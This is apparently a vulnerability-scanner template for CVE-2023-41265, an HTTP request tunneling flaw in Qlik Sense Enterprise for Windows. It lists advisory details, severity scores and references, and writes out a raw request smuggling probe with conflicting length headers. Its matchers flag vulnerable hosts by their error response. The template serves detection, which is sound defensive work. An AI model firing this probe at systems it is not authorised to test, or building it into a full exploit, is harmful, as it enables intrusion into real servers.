id: CVE-2023-41265 info: name: Qlik Sense Enterprise - HTTP Request Smuggling author: AdamCrosser severity: critical description: | An HTTP Request Tunneling vulnerability found in Qlik Sense Enterprise for Windows for versions May 2023 Patch 3 and earlier, February 2023 Patch 7 and earlier, November 2022 Patch 10 and earlier, and August 2022 Patch 12 and earlier allows a remote attacker to elevate their privilege by tunneling HTTP requests in the raw HTTP request. This allows them to send requests that get executed by the backend server hosting the repository application. This is fixed in August 2023 IR, May 2023 Patch 4, February 2023 Patch 8, November 2022 Patch 11, and August 2022 Patch 13. reference: - https://www.praetorian.com/blog/doubleqlik-bypassing-the-original-fix-for-cve-2023-41265/ - https://www.praetorian.com/blog/qlik-sense-technical-exploit - https://www.praetorian.com/blog/advisory-qlik-sense/ - https://community.qlik.com/t5/Release-Notes/tkb-p/ReleaseNotes - https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2023-41265 cwe-id: CWE-444 epss-score: 0.8352 epss-percentile: 0.9837 cpe: cpe:2.3:a:qlik:qlik_sense:august_2022:-:*:*:enterprise:windows:*:* metadata: max-request: 1 vendor: qlik product: qlik_sense framework: windows shodan-query: html:"Qlik" tags: cve2023,cve,kev,qlik,smuggling,windows http: - raw: - |+ GET /resources/qmc/fonts/CVE-2023-41265.ttf HTTP/1.1 Host: {{Hostname}} Cookie: X-Qlik-Session=13333333-3333-3333-3333-333333333337 Content-Type: text/html Content-Length: 5 Transfer-Encoding: chunked ; unsafe: true matchers: - type: dsl dsl: - status_code == 400 - contains(to_lower(set_cookie), 'x-qlik-session') - contains(header, 'Bad Request') condition: and # digest: 4b0a00483046022100df63da243752a7c8ae5b4419c6c0bc3d012438f3aad942de819106d8d7dcad6d022100869cb12653434026c70d72cf0b96cc8bded65bf24f15d64149a11ca8a0ad02f1:922c64590222798bb761d5b6d8e72950